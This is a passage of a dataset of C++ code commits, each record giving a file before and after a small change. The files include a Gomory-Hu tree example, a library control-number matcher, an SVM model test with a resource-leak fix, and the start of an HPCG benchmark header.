sum.end(), remain) - sum.begin()) - 1};\n      ch_max(ans, z + i);\n    }\n    return ans;\n  }\n};\n\nint main()\n{\n  int N;\n  ll T;\n  cin >> N >> T;\n  vector<shop> V(N);\n  for (auto i = 0; i < N; ++i)\n  {\n    ll a, b;\n    cin >> a >> b;\n    V[i] = shop(a + 1, a + b + 1);\n  }\n  Solve solve(N, T, V);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <bits\/stdc++.h>\n#include \"max_flow_dinic.h\"\n\nusing namespace std;\n\nvector<vector<pair<int, int>>> gomory_hu_tree(max_flow_dinic &flow) {\n    int n = flow.g.size();\n    vector<vector<pair<int, int>>> t(n, vector<pair<int, int>>());\n    vector<int> p(n);\n    for (int i = 1; i < n; i++) {\n        flow.clear_flow();\n        int f = flow.max_flow(i, p[i]);\n        vector<bool> cut = flow.min_cut();\n        for (int j = i + 1; j < n; j++)\n            if (cut[j] == cut[i] && p[j] == p[i])\n                p[j] = i;\n        t[p[i]].emplace_back(i, f);\n    }\n    return t;\n}\n\n\/\/ usage example\nint main() {\n    int capacity[][3] = {{0, 3, 2},\n                         {0, 0, 2},\n                         {0, 0, 0}};\n    int n = 3;\n    max_flow_dinic flow(n);\n    for (int i = 0; i < n; i++)\n        for (int j = 0; j < n; j++)\n            if (capacity[i][j] != 0)\n                flow.add_bidi_edge(i, j, capacity[i][j]);\n\n    vector<vector<pair<int, int>>> t = gomory_hu_tree(flow);\n    for (int u = 0; u < n; ++u)\n        for (auto[v, f]:t[u])\n            cout << u << \" \" << v << \" \" << f << endl;\n}\n<commit_msg>update<commit_after>#include <bits\/stdc++.h>\n#include \"max_flow_dinic.h\"\n\nusing namespace std;\n\nvector<vector<pair<int, int>>> gomory_hu_tree(max_flow_dinic &flow) {\n    int n = flow.graph.size();\n    vector<vector<pair<int, int>>> t(n, vector<pair<int, int>>());\n    vector<int> p(n);\n    for (int i = 1; i < n; i++) {\n        flow.clear_flow();\n        int f = flow.max_flow(i, p[i]);\n        vector<bool> cut = flow.min_cut();\n        for (int j = i + 1; j < n; j++)\n            if (cut[j] == cut[i] && p[j] == p[i])\n                p[j] = i;\n        t[p[i]].emplace_back(i, f);\n    }\n    return t;\n}\n\n\/\/ usage example\nint main() {\n    int capacity[][3] = {{0, 3, 2},\n                         {0, 0, 2},\n                         {0, 0, 0}};\n    int n = 3;\n    max_flow_dinic flow(n);\n    for (int i = 0; i < n; i++)\n        for (int j = 0; j < n; j++)\n            if (capacity[i][j] != 0)\n                flow.add_bidi_edge(i, j, capacity[i][j]);\n\n    vector<vector<pair<int, int>>> t = gomory_hu_tree(flow);\n    for (int u = 0; u < n; ++u)\n        for (auto[v, f]:t[u])\n            cout << u << \" \" << v << \" \" << f << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\file   ControlNumberGuesser.cc\n *  \\brief  Implementation of the ControlNumberGuesser class.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"ControlNumberGuesser.h\"\n#include <algorithm>\n#include <iterator>\n#include <vector>\n#include \"StringUtil.h\"\n#include \"TextUtil.h\"\n#include \"util.h\"\n\n\nstatic kyotocabinet::HashDB *CreateOrOpenKeyValueDB(const std::string &db_path) {\n    auto db(new kyotocabinet::HashDB());\n    if (not (db->open(db_path, kyotocabinet::HashDB::OWRITER | kyotocabinet::HashDB::OCREATE)))\n        LOG_ERROR(\"failed to open or create \\\"\" + db_path + \"\\\"!\");\n    return db;\n}\n\n\nstatic const std::string MATCH_DB_PREFIX(\"\/usr\/local\/var\/lib\/tuelib\/normalised_\");\n\n\nControlNumberGuesser::ControlNumberGuesser(const OpenMode open_mode) {\n    const std::string TITLES_DB_PATH(MATCH_DB_PREFIX + \"titles.db\");\n    const std::string AUTHORS_DB_PATH(MATCH_DB_PREFIX + \"authors.db\");\n\n    if (open_mode == CLEAR_DATABASES) {\n        ::unlink(TITLES_DB_PATH.c_str());\n        ::unlink(AUTHORS_DB_PATH.c_str());\n    }\n\n    titles_db_  = CreateOrOpenKeyValueDB(TITLES_DB_PATH);\n    authors_db_ = CreateOrOpenKeyValueDB(AUTHORS_DB_PATH);\n}\n\n\nvoid ControlNumberGuesser::insertTitle(const std::string &title, const std::string &control_number) {\n    const auto normalised_title(NormaliseTitle(title));\n    if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n        LOG_DEBUG(\"in ControlNumberGuesser::insertTitle: normalised_title=\\\"\" + normalised_title + \"\\\".\");\n    if (unlikely(normalised_title.empty()))\n        LOG_WARNING(\"Empty normalised title in record w\/ control number: \" + control_number);\n    else {\n        std::string control_numbers;\n        if (titles_db_->get(normalised_title, &control_numbers))\n            control_numbers += \"\\0\" + control_number;\n        else\n            control_numbers = control_number;\n        if (unlikely(not titles_db_->set(normalised_title, control_numbers)))\n            LOG_ERROR(\"failed to insert normalised title into the database!\");\n    }\n}\n\n\nvoid ControlNumberGuesser::insertAuthors(const std::set<std::string> &authors, const std::string &control_number) {\n    for (const auto author : authors) {\n        const auto normalised_author_name(TextUtil::UTF8ToLower(NormaliseAuthorName(author)));\n        if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n            LOG_DEBUG(\"in ControlNumberGuesser::insertAuthors: normalised_author_name=\\\"\" + normalised_author_name + \"\\\".\");\n        std::string control_numbers;\n        if (authors_db_->get(normalised_author_name, &control_numbers))\n            control_numbers += \"\\0\" + control_number;\n        else\n            control_numbers = control_number;\n        if (unlikely(not authors_db_->set(normalised_author_name, control_numbers)))\n            LOG_ERROR(\"failed to insert normalised author into the database!\");\n    }\n}\n\n\nstd::set<std::string> ControlNumberGuesser::getGuessedControlNumbers(const std::string &title, const std::vector<std::string> &authors) const\n{\n    const auto normalised_title(TextUtil::UTF8ToLower(NormaliseTitle(title)));\n    if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n        LOG_DEBUG(\"in ControlNumberGuesser::getGuessedControlNumbers: normalised_title=\\\"\" + normalised_title + \"\\\".\");\n    std::string concatenated_title_control_numbers;\n    std::vector<std::string> title_control_numbers;\n    if (not titles_db_->get(normalised_title, &concatenated_title_control_numbers)\n        or StringUtil::Split(concatenated_title_control_numbers, '\\0', &title_control_numbers) == 0)\n        return { };\n\n    std::vector<std::string> all_author_control_numbers;\n    for (const auto &author : authors) {\n        const auto normalised_author(TextUtil::UTF8ToLower(NormaliseTitle(author)));\n        if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n            LOG_DEBUG(\"in ControlNumberGuesser::getGuessedControlNumbers: normalised_author=\\\"\" + normalised_author + \"\\\".\");\n        std::string concatenated_author_control_numbers;\n        std::set<std::string> author_control_numbers;\n        if (authors_db_->get(normalised_author, &concatenated_author_control_numbers)) {\n            StringUtil::Split(concatenated_author_control_numbers, '\\0', &author_control_numbers);\n            for (const auto author_control_number : author_control_numbers)\n                all_author_control_numbers.emplace_back(author_control_number);\n        }\n    }\n    if (all_author_control_numbers.empty())\n        return { };\n\n    std::sort(title_control_numbers.begin(), title_control_numbers.end());\n    std::sort(all_author_control_numbers.begin(), all_author_control_numbers.end());\n    std::vector<std::string> common_control_numbers;\n    std::set_intersection(title_control_numbers.begin(), title_control_numbers.end(),\n                          all_author_control_numbers.begin(), all_author_control_numbers.end(),\n                          std::back_inserter(common_control_numbers));\n\n    return std::set<std::string>(common_control_numbers.cbegin(), common_control_numbers.cend());\n}\n\n\nstd::string ControlNumberGuesser::NormaliseTitle(const std::string &title) {\n    std::wstring wtitle;\n    if (unlikely(not TextUtil::UTF8ToWCharString(title, &wtitle)))\n        LOG_ERROR(\"failed to convert \\\"\" + title + \"\\\" to a wide character string!\");\n\n    std::wstring normalised_title;\n    bool space_separator_seen(true);\n    for (const auto ch : wtitle) {\n        if (TextUtil::IsGeneralPunctuationCharacter(ch) or ch == '-' or TextUtil::IsSpaceSeparatorCharacter(ch)) {\n            if (not space_separator_seen)\n                normalised_title += ' ';\n            space_separator_seen = true;\n        } else {\n            space_separator_seen = false;\n            normalised_title += ch;\n        }\n    }\n    if (not normalised_title.empty() and TextUtil::IsSpaceSeparatorCharacter(normalised_title.back()))\n        normalised_title.resize(normalised_title.size() - 1);\n\n    TextUtil::ToLower(&normalised_title);\n\n    std::string utf8_normalised_title;\n    if (unlikely(not TextUtil::WCharToUTF8String(normalised_title, &utf8_normalised_title)))\n        LOG_ERROR(\"failed to convert a wstring to an UTF8 string!\");\n\n    return utf8_normalised_title;\n}\n\n\nstd::string ControlNumberGuesser::NormaliseAuthorName(const std::string &author_name) {\n    auto trimmed_author_name = StringUtil::TrimWhite(author_name);\n    const auto comma_pos(trimmed_author_name.find(','));\n    if (comma_pos != std::string::npos)\n        trimmed_author_name = StringUtil::TrimWhite(trimmed_author_name.substr(comma_pos + 1) + \" \"\n                                                    + trimmed_author_name.substr(0, comma_pos));\n\n    std::string normalised_author_name;\n    bool space_seen(false);\n    for (const char ch : trimmed_author_name) {\n        switch (ch) {\n        case '.':\n            normalised_author_name += ch;\n            normalised_author_name += ' ';\n            space_seen = true;\n            break;\n        case ' ':\n            if (not space_seen)\n                normalised_author_name += ' ';\n            space_seen = true;\n            break;\n        default:\n            normalised_author_name += ch;\n            space_seen = false;\n        }\n    }\n\n    return normalised_author_name;\n}\n<commit_msg>Fixed some obvious bugs.<commit_after>\/** \\file   ControlNumberGuesser.cc\n *  \\brief  Implementation of the ControlNumberGuesser class.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"ControlNumberGuesser.h\"\n#include <algorithm>\n#include <iterator>\n#include <vector>\n#include \"StringUtil.h\"\n#include \"TextUtil.h\"\n#include \"util.h\"\n\n\nstatic kyotocabinet::HashDB *CreateOrOpenKeyValueDB(const std::string &db_path) {\n    auto db(new kyotocabinet::HashDB());\n    if (not (db->open(db_path, kyotocabinet::HashDB::OWRITER | kyotocabinet::HashDB::OCREATE)))\n        LOG_ERROR(\"failed to open or create \\\"\" + db_path + \"\\\"!\");\n    return db;\n}\n\n\nstatic const std::string MATCH_DB_PREFIX(\"\/usr\/local\/var\/lib\/tuelib\/normalised_\");\n\n\nControlNumberGuesser::ControlNumberGuesser(const OpenMode open_mode) {\n    const std::string TITLES_DB_PATH(MATCH_DB_PREFIX + \"titles.db\");\n    const std::string AUTHORS_DB_PATH(MATCH_DB_PREFIX + \"authors.db\");\n\n    if (open_mode == CLEAR_DATABASES) {\n        ::unlink(TITLES_DB_PATH.c_str());\n        ::unlink(AUTHORS_DB_PATH.c_str());\n    }\n\n    titles_db_  = CreateOrOpenKeyValueDB(TITLES_DB_PATH);\n    authors_db_ = CreateOrOpenKeyValueDB(AUTHORS_DB_PATH);\n}\n\n\nvoid ControlNumberGuesser::insertTitle(const std::string &title, const std::string &control_number) {\n    const auto normalised_title(NormaliseTitle(title));\n    if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n        LOG_DEBUG(\"in ControlNumberGuesser::insertTitle: normalised_title=\\\"\" + normalised_title + \"\\\".\");\n    if (unlikely(normalised_title.empty()))\n        LOG_WARNING(\"Empty normalised title in record w\/ control number: \" + control_number);\n    else {\n        std::string control_numbers;\n        if (titles_db_->get(normalised_title, &control_numbers))\n            control_numbers += \"\\0\" + control_number;\n        else\n            control_numbers = control_number;\n        if (unlikely(not titles_db_->set(normalised_title, control_numbers)))\n            LOG_ERROR(\"failed to insert normalised title into the database!\");\n    }\n}\n\n\nvoid ControlNumberGuesser::insertAuthors(const std::set<std::string> &authors, const std::string &control_number) {\n    for (const auto author : authors) {\n        const auto normalised_author_name(TextUtil::UTF8ToLower(NormaliseAuthorName(author)));\n        if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n            LOG_DEBUG(\"in ControlNumberGuesser::insertAuthors: normalised_author_name=\\\"\" + normalised_author_name + \"\\\".\");\n        std::string control_numbers;\n        if (authors_db_->get(normalised_author_name, &control_numbers))\n            control_numbers += \"\\0\" + control_number;\n        else\n            control_numbers = control_number;\n        if (unlikely(not authors_db_->set(normalised_author_name, control_numbers)))\n            LOG_ERROR(\"failed to insert normalised author into the database!\");\n    }\n}\n\n\nstd::set<std::string> ControlNumberGuesser::getGuessedControlNumbers(const std::string &title, const std::vector<std::string> &authors) const\n{\n    const auto normalised_title(NormaliseTitle(title));\n    if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n        LOG_DEBUG(\"in ControlNumberGuesser::getGuessedControlNumbers: normalised_title=\\\"\" + normalised_title + \"\\\".\");\n    std::string concatenated_title_control_numbers;\n    std::vector<std::string> title_control_numbers;\n    if (not titles_db_->get(normalised_title, &concatenated_title_control_numbers)\n        or StringUtil::Split(concatenated_title_control_numbers, '\\0', &title_control_numbers) == 0)\n        return { };\n\n    std::vector<std::string> all_author_control_numbers;\n    for (const auto &author : authors) {\n        const auto normalised_author(NormaliseAuthorName(author));\n        if (logger->getMinimumLogLevel() >= Logger::LL_DEBUG)\n            LOG_DEBUG(\"in ControlNumberGuesser::getGuessedControlNumbers: normalised_author=\\\"\" + normalised_author + \"\\\".\");\n        std::string concatenated_author_control_numbers;\n        std::set<std::string> author_control_numbers;\n        if (authors_db_->get(normalised_author, &concatenated_author_control_numbers)) {\n            StringUtil::Split(concatenated_author_control_numbers, '\\0', &author_control_numbers);\n            for (const auto author_control_number : author_control_numbers)\n                all_author_control_numbers.emplace_back(author_control_number);\n        }\n    }\n    if (all_author_control_numbers.empty())\n        return { };\n\n    std::sort(title_control_numbers.begin(), title_control_numbers.end());\n    std::sort(all_author_control_numbers.begin(), all_author_control_numbers.end());\n    std::vector<std::string> common_control_numbers;\n    std::set_intersection(title_control_numbers.begin(), title_control_numbers.end(),\n                          all_author_control_numbers.begin(), all_author_control_numbers.end(),\n                          std::back_inserter(common_control_numbers));\n\n    return std::set<std::string>(common_control_numbers.cbegin(), common_control_numbers.cend());\n}\n\n\nstd::string ControlNumberGuesser::NormaliseTitle(const std::string &title) {\n    std::wstring wtitle;\n    if (unlikely(not TextUtil::UTF8ToWCharString(title, &wtitle)))\n        LOG_ERROR(\"failed to convert \\\"\" + title + \"\\\" to a wide character string!\");\n\n    std::wstring normalised_title;\n    bool space_separator_seen(true);\n    for (const auto ch : wtitle) {\n        if (TextUtil::IsGeneralPunctuationCharacter(ch) or ch == '-' or TextUtil::IsSpaceSeparatorCharacter(ch)) {\n            if (not space_separator_seen)\n                normalised_title += ' ';\n            space_separator_seen = true;\n        } else {\n            space_separator_seen = false;\n            normalised_title += ch;\n        }\n    }\n    if (not normalised_title.empty() and TextUtil::IsSpaceSeparatorCharacter(normalised_title.back()))\n        normalised_title.resize(normalised_title.size() - 1);\n\n    TextUtil::ToLower(&normalised_title);\n\n    std::string utf8_normalised_title;\n    if (unlikely(not TextUtil::WCharToUTF8String(normalised_title, &utf8_normalised_title)))\n        LOG_ERROR(\"failed to convert a wstring to an UTF8 string!\");\n\n    return utf8_normalised_title;\n}\n\n\nstd::string ControlNumberGuesser::NormaliseAuthorName(const std::string &author_name) {\n    auto trimmed_author_name = StringUtil::TrimWhite(author_name);\n    const auto comma_pos(trimmed_author_name.find(','));\n    if (comma_pos != std::string::npos)\n        trimmed_author_name = StringUtil::TrimWhite(trimmed_author_name.substr(comma_pos + 1) + \" \"\n                                                    + trimmed_author_name.substr(0, comma_pos));\n\n    std::string normalised_author_name;\n    bool space_seen(false);\n    for (const char ch : trimmed_author_name) {\n        switch (ch) {\n        case '.':\n            normalised_author_name += ch;\n            normalised_author_name += ' ';\n            space_seen = true;\n            break;\n        case ' ':\n            if (not space_seen)\n                normalised_author_name += ' ';\n            space_seen = true;\n            break;\n        default:\n            normalised_author_name += ch;\n            space_seen = false;\n        }\n    }\n\n    return TextUtil::UTF8ToLower(normalised_author_name);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Made small adjustment to JEWEL_DEBUG_LOG_VALUE macro.<commit_after><|endoftext|>"}
{"text":"<commit_before>\n#include \"itkMacro.h\"\n\n#include <iostream>\n#include <cstdlib>\n#include \"svm.h\"\n\nnamespace otb\n{\n\nclass LinearKernelFunctor : public GenericKernelFunctorBase\n{\npublic:\n  typedef LinearKernelFunctor                 Self;\n  typedef GenericKernelFunctorBase            Superclass;\n\n  LinearKernelFunctor() : GenericKernelFunctorBase() {}\n  virtual ~LinearKernelFunctor() {}\n\n  \/\/ Deep copy operator\n  virtual GenericKernelFunctorBase* Clone() const\n  {\n    return new Self(*this);\n  }\n\n  virtual double operator ()(const svm_node *x, const svm_node *y, const svm_parameter&) const\n  {\n    return this->dot(x, y);\n  }\n\nprotected:\n  LinearKernelFunctor(const Self& copy)\n  : Superclass(copy)\n  {\n    *this = copy;\n  }\n\n  LinearKernelFunctor& operator=(const Self& copy)\n  {\n    Superclass::operator =(copy);\n    return *this;\n  }\n};\n\n}\n\n\n\n\/**\n * In this test, we approximate a 2-D scalar field.\n * The scattered data is derived from a segmented\n * image.  We write the output to an image for\n * comparison.\n *\/\nint svmGenericKernelTest( int itkNotUsed(argc), char *argv[] )\n{\n  try\n    {\n        const char * inputFilename  = argv[1];\n        const char * outputFilename = argv[2];\n        otb::LinearKernelFunctor lFunctor;\n\n        struct svm_model* model;\n        model = svm_load_model(inputFilename, &lFunctor);\n        if(model == 0)\n        {\n                itkGenericExceptionMacro( << \"Problem while loading SVM model \"\n\t\t\t << std::string(inputFilename) );\n        }\n\n        model->param.kernel_generic->print_parameters();\n\n        if(svm_save_model(outputFilename, model)!=0)\n        {\n                itkGenericExceptionMacro( << \"Problem while saving SVM model \"\n\t\t\t << std::string(outputFilename) );\n        }\n        if(model != NULL)\n          {\n          delete model;\n          }\n    }\n  catch( itk::ExceptionObject & err )\n    {\n    std::cout << \"Exception itk::ExceptionObject levee !\" << std::endl;\n    std::cout << err << std::endl;\n    return EXIT_FAILURE;\n    }\n  catch (...)\n    {\n    std::cerr << \"svmTest exception thrown\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  return EXIT_SUCCESS;\n};\n<commit_msg>COV: Fixing coverity issue 1266747 (Ressource leak)<commit_after>\n#include \"itkMacro.h\"\n\n#include <iostream>\n#include <cstdlib>\n#include \"svm.h\"\n\nnamespace otb\n{\n\nclass LinearKernelFunctor : public GenericKernelFunctorBase\n{\npublic:\n  typedef LinearKernelFunctor                 Self;\n  typedef GenericKernelFunctorBase            Superclass;\n\n  LinearKernelFunctor() : GenericKernelFunctorBase() {}\n  virtual ~LinearKernelFunctor() {}\n\n  \/\/ Deep copy operator\n  virtual GenericKernelFunctorBase* Clone() const\n  {\n    return new Self(*this);\n  }\n\n  virtual double operator ()(const svm_node *x, const svm_node *y, const svm_parameter&) const\n  {\n    return this->dot(x, y);\n  }\n\nprotected:\n  LinearKernelFunctor(const Self& copy)\n    : Superclass(copy)\n  {\n    *this = copy;\n  }\n\n  LinearKernelFunctor& operator=(const Self& copy)\n  {\n    Superclass::operator =(copy);\n    return *this;\n  }\n};\n\n}\n\n\n\n\/**\n * In this test, we approximate a 2-D scalar field.\n * The scattered data is derived from a segmented\n * image.  We write the output to an image for\n * comparison.\n *\/\nint svmGenericKernelTest( int itkNotUsed(argc), char *argv[] )\n{\n  try\n    {\n    const char * inputFilename  = argv[1];\n    const char * outputFilename = argv[2];\n    otb::LinearKernelFunctor lFunctor;\n\n    struct svm_model* model;\n    model = svm_load_model(inputFilename, &lFunctor);\n    if(model == 0)\n      {\n      itkGenericExceptionMacro( << \"Problem while loading SVM model \"\n                                << std::string(inputFilename) );\n      }\n        \n    model->param.kernel_generic->print_parameters();\n        \n    if(svm_save_model(outputFilename, model)!=0)\n      {\n      if(model != NULL)\n        {\n        delete model;\n        }\n      itkGenericExceptionMacro( << \"Problem while saving SVM model \"\n                                << std::string(outputFilename) );\n      }\n    if(model != NULL)\n      {\n      delete model;\n      }\n    }\n  catch( itk::ExceptionObject & err )\n    {\n    std::cout << \"Exception itk::ExceptionObject levee !\" << std::endl;\n    std::cout << err << std::endl;\n    return EXIT_FAILURE;\n    }\n  catch (...)\n    {\n    std::cerr << \"svmTest exception thrown\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  return EXIT_SUCCESS;\n};\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2016-2017 Los Alamos National Security, LLC\n *                         All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * LA-CC 10-123\n *\/\n\n\/\/@HEADER\n\/\/ ***************************************************\n\/\/\n\/\/ HPCG: High Performance Conjugate Gradient Benchmark\n\/\/\n\/\/ Contact:\n\/\/ Michael A. Heroux ( maherou@sandia.gov)\n\/\/ Jack Dongarra     (dongarra@eecs.utk.edu)\n\/\/ Piotr Luszczek    (luszczek@eecs.utk.edu)\n\/\/\n\/\/ ***************************************************\n\/\/@HEADER\n\n\/*!\n @file GenerateProblem.hpp\n\n HPCG routine\n *\/\n\n#pragma once\n\n#include \"hpcg.hpp\"\n\n#include \"LegionStuff.hpp\"\n#include \"LegionItems.hpp\"\n#include \"LegionArrays.hpp\"\n#include \"LegionMatrices.hpp\"\n#include \"ReduceSum.hpp\"\n\n#include <map>\n#include <sstream>\n#include <cassert>\n\ninline void\nPopulateGlobalToLocalMap(\n    SparseMatrix &A,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    const Geometry *const Ageom = A.geom->data();\n    \/\/ Make local copies of geometry information.  Use global_int_t since the\n    \/\/ RHS products in the calculations below may result in global range values.\n    const global_int_t nx  = Ageom->nx;\n    const global_int_t ny  = Ageom->ny;\n    const global_int_t nz  = Ageom->nz;\n    const global_int_t npx = Ageom->npx;\n    const global_int_t npy = Ageom->npy;\n    const global_int_t ipx = Ageom->ipx;\n    const global_int_t ipy = Ageom->ipy;\n    const global_int_t ipz = Ageom->ipz;\n    const global_int_t gnx = nx * npx;\n    const global_int_t gny = ny * npy;\n    \/\/!< global-to-local mapping\n    auto &globalToLocalMap = A.globalToLocalMap;\n    \/\/\n    for (local_int_t iz = 0; iz < nz; iz++) {\n        global_int_t giz = ipz*nz+iz;\n        for (local_int_t iy = 0; iy < ny; iy++) {\n            global_int_t giy = ipy*ny+iy;\n            for (local_int_t ix = 0; ix < nx; ix++) {\n                global_int_t gix = ipx*nx+ix;\n                local_int_t currentLocalRow = iz*nx*ny+iy*nx+ix;\n                global_int_t currentGlobalRow = giz*gnx*gny+giy*gnx+gix;\n                globalToLocalMap[currentGlobalRow] = currentLocalRow;\n            }\n        }\n    }\n}\n\n\/**\n * Tally total number of non-zeros in simulation.\n *\/\nstatic inline global_int_t\ngetTotalNumberOfNonZeros(\n    SparseMatrix &A,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    DynamicCollective dcAllreduceSum = *A.dcAllreduceSum->data();\n    \/\/\n    TaskLauncher tlLocalNZ(LOCAL_NONZEROS_TID, TaskArgument(NULL, 0));\n    tlLocalNZ.add_region_requirement(\n        RegionRequirement(A.sclrs->logicalRegion, RO_E, A.sclrs->logicalRegion)\n    ).add_field(A.sclrs->getFieldID());\n    \/\/\n    Future future = runtime->execute_task(ctx, tlLocalNZ);\n    \/\/\n    runtime->defer_dynamic_collective_arrival(ctx, dcAllreduceSum, future);\n    dcAllreduceSum = runtime->advance_dynamic_collective(ctx, dcAllreduceSum);\n    \/\/\n    Future fSum = runtime->get_dynamic_collective_result(ctx, dcAllreduceSum);\n\n    return fSum.get<global_int_t>();\n}\n\n\/*!\n    Reference version of GenerateProblem to generate the sparse matrix, right\n    hand side, initial guess, and exact solution.\n\n    @param[in]  A        The known system matrix\n    @param[inout] b      The newly allocated and generated right hand side\n    vector (if b!=0 on entry)\n    @param[inout] x      The newly allocated solution vector with entries set to\n    0.0 (if x!=0 on entry)\n    @param[inout] xexact The newly allocated solution vector with entries set to\n    the exact solution (if the xexact!=0 non-zero on entry)\n\n    @see GenerateGeometry\n*\/\ninline void\nGenerateProblem(\n    SparseMatrix &A,\n    Array<floatType> *b,\n    Array<floatType> *x,\n    Array<floatType> *xexact,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    using namespace std;\n    const Geometry *const Ageom = A.geom->data();\n    \/\/ Make local copies of geometry information.  Use global_int_t since the\n    \/\/ RHS products in the calculations below may result in global range values.\n    const global_int_t nx  = Ageom->nx;\n    const global_int_t ny  = Ageom->ny;\n    const global_int_t nz  = Ageom->nz;\n    const global_int_t npx = Ageom->npx;\n    const global_int_t npy = Ageom->npy;\n    const global_int_t npz = Ageom->npz;\n    const global_int_t ipx = Ageom->ipx;\n    const global_int_t ipy = Ageom->ipy;\n    const global_int_t ipz = Ageom->ipz;\n    const global_int_t gnx = nx * npx;\n    const global_int_t gny = ny * npy;\n    const global_int_t gnz = nz * npz;\n    \/\/ This is the size of our subblock.\n    const local_int_t localNumberOfRows = nx * ny * nz;\n    \/\/ If this assert fails, it most likely means that the local_int_t is set to\n    \/\/ int and should be set to.  Throw an exception of the number of rows is\n    \/\/ less than zero (can happen if int overflow)long long\n    assert(localNumberOfRows > 0);\n    \/\/ We are approximating a 27-point finite element\/volume\/difference 3D\n    \/\/ stencil\n    const local_int_t numberOfNonzerosPerRow = Ageom->stencilSize;\n\n    \/\/ Total number of grid points in mesh\n    const global_int_t totalNumberOfRows = ((global_int_t)localNumberOfRows)\n                                         * ((global_int_t)Ageom->size);\n    \/\/ If this assert fails, it most likely means that the global_int_t is set\n    \/\/ to int and should be set to long long\n    assert(totalNumberOfRows > 0);\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ Allocate arrays\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    if (Ageom->rank == 0) {\n        const size_t mn = localNumberOfRows * numberOfNonzerosPerRow;\n        const size_t sparseMatMemInB = (\n            sizeof(char)         * localNumberOfRows \/\/nonzerosInRow\n          + sizeof(global_int_t) * mn                \/\/mtxIndG\n          + sizeof(local_int_t)  * mn                \/\/mtxIndL\n          + sizeof(floatType)    * mn                \/\/matrixValues\n          + sizeof(floatType)    * localNumberOfRows \/\/matrixDiagonal\n          + sizeof(global_int_t) * localNumberOfRows \/\/localToGlobalMap\n        ) * Ageom->size;\n        \/\/\n        const size_t vectorsMemInB = (\n            (b      ? sizeof(floatType) * localNumberOfRows : 0)\n          + (x      ? sizeof(floatType) * localNumberOfRows : 0)\n          + (xexact ? sizeof(floatType) * localNumberOfRows : 0)\n        ) * Ageom->size;\n        \/\/\n        const size_t pMemInB = sparseMatMemInB + vectorsMemInB;\n        const double pMemInMB = pMemInB\/1024.0\/1024.0;\n        cout << 